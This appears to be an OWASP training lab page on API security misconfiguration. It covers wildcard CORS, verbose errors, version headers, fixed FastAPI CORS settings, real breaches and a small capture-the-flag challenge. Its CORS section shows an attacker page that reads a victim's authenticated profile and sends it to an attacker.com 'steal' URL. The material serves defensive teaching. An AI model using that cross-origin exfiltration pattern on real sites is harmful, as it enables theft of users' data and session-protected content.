πŸ›‘ OWASP Lab
API8:2023 High

Security Misconfiguration

Theory

API8 Security Misconfiguration in the API context covers the same ground as Web A05, but with API-specific manifestations: wildcard CORS on sensitive endpoints, verbose error responses containing stack traces and secrets, missing authentication on OPTIONS/HEAD methods, and unnecessary HTTP methods enabled on data-mutating routes.

API-Specific Misconfiguration Patterns

  • Wildcard CORS (Access-Control-Allow-Origin: *) β€” on an authenticated API endpoint, this allows any website the victim visits to read the API response. The browser enforces Same-Origin Policy β€” but CORS headers are how servers opt out of that protection. A wildcard opts out for everyone.
  • Verbose error responses β€” 500 Internal Server Error with full stack trace, file paths, library versions, and database queries helps attackers understand the tech stack and identify specific exploitable vulnerabilities
  • Missing rate limiting on non-GET endpoints β€” developers rate-limit GET (read) but forget POST/PATCH/DELETE which often trigger more expensive operations
  • HTTP methods not restricted β€” enabling OPTIONS or TRACE on production APIs; allowing DELETE on a route that should only support GET
  • Sensitive data in response headers β€” X-Powered-By: PHP/7.3.4, Server: Apache/2.4.49, or custom headers like X-Internal-Build: ratcorp-api/2.1.0-dev give attackers a targeted CVE list

Why Wildcard CORS on Authenticated APIs is Critical

# The vulnerable API returns:
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true   (worst combo possible)

# Attacker hosts a malicious page at evil.com:
# evil.html:
fetch('https://api.victim.com/api/v1/profile', {
    credentials: 'include'   // sends the victim's session cookie
})
.then(r => r.json())
.then(data => {
    fetch('https://attacker.com/steal?data=' + JSON.stringify(data));  // exfiltrates to attacker
});

# When victim visits evil.com while logged into victim.com:
# Browser sends victim's cookie to victim's API
# CORS wildcard allows evil.com to read the response
# Victim's profile data (or auth tokens) are sent to attacker

Verbose Error Response β€” Vulnerable vs Fixed

# VULNERABLE β€” returns stack trace, file paths, secrets in error response
{"status": 500,
 "error": "InternalServerError",
 "detail": "database connection failed",
 "stack_trace": "File /app/db.py, line 42
  conn = psycopg2.connect(dsn)
OperationalError: FATAL: password authentication failed for user 'dbuser'",
 "dsn": "postgresql://dbuser:SecretDbPass123@10.2.1.45:5432/production"
}

# FIXED β€” generic error to client; full detail goes to server-side logs only
{"status": 500,
 "error": "Internal Server Error",
 "request_id": "req_abc123def456"
}
# Server log: full detail + stack trace (for developers to debug, not for clients to read)

CORS β€” Fixed Configuration

from fastapi.middleware.cors import CORSMiddleware

# FIXED β€” explicit origins only; never '*' with credentials
app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        "https://app.example.com",       # production frontend
        "https://staging.example.com",   # staging frontend
    ],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PATCH", "DELETE"],   # explicit, not ["*"]
    allow_headers=["Authorization", "Content-Type"],   # explicit
)

# For truly public APIs (no auth, no sensitive data):
# Access-Control-Allow-Origin: * is acceptable
# But combining with allow_credentials=True is NEVER acceptable

Real-World Breaches

  • British Airways (2018) β€” A combination of misconfigured CORS and an injected JavaScript skimmer read credit card data entered on the payment page and exfiltrated it to an attacker-controlled domain. 500,000 customers affected; Β£20M GDPR fine.
  • Elasticsearch (2017–present, ongoing) β€” Default configuration has no authentication; CORS wildcards on the REST API allow any webpage to query the database. Thousands of instances have been found publicly accessible.
  • JetBrains TeamCity (2024) β€” CVE-2024-27198 β€” Authentication bypass via a misconfigured REST API path; exploited at scale within days of disclosure to plant backdoors

How to Fix β€” Checklist

  • Explicit CORS origins β€” list only domains you control; never use * with credentials
  • Generic error responses to clients β€” log full detail server-side; return only a request ID and generic message to the client
  • Remove version headers β€” strip Server, X-Powered-By, and custom build headers from all responses
  • Restrict HTTP methods per route β€” FastAPI/Express declare allowed methods per route; configure the framework to return 405 for undeclared methods
  • Scan with nuclei β€” run nuclei -t misconfigurations/ -target https://api.example.com to detect common misconfigurations automatically
Challenge 1

Open CORS + Verbose Error

This endpoint has a wildcard CORS header (any origin can read the response) and returns a verbose error with the internal flag when a malformed request is sent.

Hint
Send a malformed request to GET /api/v1/config?trigger_error=1